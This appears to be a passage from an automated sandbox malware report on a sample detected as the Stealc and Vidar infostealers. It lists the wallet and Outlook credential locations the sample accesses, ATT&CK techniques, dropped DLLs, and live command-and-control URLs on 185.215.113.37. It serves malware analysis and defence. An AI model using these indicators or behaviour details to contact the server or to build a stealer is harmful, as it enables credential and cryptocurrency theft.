Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5916, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.9f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2173789827.0000000005050000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2419533925.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5916, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5916, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
171.39.242.20.in-addr.arpa	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpnx	file.exe, 00000000.00000002.2419533925.0000000001567000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpata	file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/X	file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllD	file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpCash	file.exe, 00000000.00000002.2419533925.0000000001534000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllH	file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2419533925.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2436233500.0000000029752000.00000004.00000020.00020000.00000000.sdmp, JJEGCBGIDHCAKEBGIIDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php.dll	file.exe, 00000000.00000002.2419533925.0000000001567000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpo	file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37.com	file.exe, 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpJx	file.exe, 00000000.00000002.2419533925.0000000001567000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll4	file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php1xi	file.exe, 00000000.00000002.2419533925.0000000001567000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpdll	file.exe, 00000000.00000002.2419533925.0000000001567000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpe	file.exe, 00000000.00000002.2419533925.0000000001534000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2447965245.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431728372.000000001D7BC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dllu	file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpg	file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpK	file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll2	file.exe, 00000000.00000002.2419533925.0000000001503000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000002.2436233500.0000000029752000.00000004.00000020.00020000.00000000.sdmp, JJEGCBGIDHCAKEBGIIDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpirefox	file.exe, 00000000.00000002.2419533925.0000000001534000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	JJEGCBGIDHCAKEBGIIDB.0.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll~	file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php;	file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllh	file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	false	URL Reputation: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000002.2436233500.0000000029752000.00000004.00000020.00020000.00000000.sdmp, JJEGCBGIDHCAKEBGIIDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpXx	file.exe, 00000000.00000002.2419533925.0000000001567000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpG	file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dlll	file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php3x	file.exe, 00000000.00000002.2419533925.0000000001567000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2436233500.0000000029752000.00000004.00000020.00020000.00000000.sdmp, JJEGCBGIDHCAKEBGIIDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dllp	file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000002.2436233500.0000000029752000.00000004.00000020.00020000.00000000.sdmp, JJEGCBGIDHCAKEBGIIDB.0.dr	false		unknown
http://185.215.113.37/1	file.exe, 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2436233500.0000000029752000.00000004.00000020.00020000.00000000.sdmp, JJEGCBGIDHCAKEBGIIDB.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541679
Start date and time:	2024-10-25 01:26:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 77 Number of non-executed functions: 107
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	fXg8zgxVTF.exe	Get hash	malicious	Stealc, Vidar	Browse
	T220UXIoKO.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAFIDGCFHIEHJJJJECAKKJDBAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGCBAFIJDGHCAKECAEGCAAKEHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIEHDAFHDHCBFIDGCFIDGHJDGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJDBKKJKJEBFBGCBAAFIJKJKJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJDHDGDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
